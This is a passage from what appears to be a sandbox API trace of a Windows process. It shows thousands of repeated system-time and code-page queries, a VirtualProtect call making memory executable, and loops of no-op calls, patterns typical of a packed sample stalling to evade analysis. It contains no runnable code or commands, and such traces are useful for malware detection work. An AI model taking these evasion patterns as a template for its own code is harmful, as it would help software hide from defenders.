lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.812] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.812] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.813] GetACP () returned 0x4e4 [0056.813] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.814] GetACP () returned 0x4e4 [0056.814] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.815] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.815] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.816] GetACP () returned 0x4e4 [0056.816] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.817] GetACP () returned 0x4e4 [0056.817] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.818] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0056.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0056.818] GetACP () returned 0x4e4 [0056.918] VirtualProtect (in: lpAddress=0x585ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.919] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.919] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.919] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.920] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.920] AddAtomA (lpString=0x0) returned 0x0 [0056.920] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] 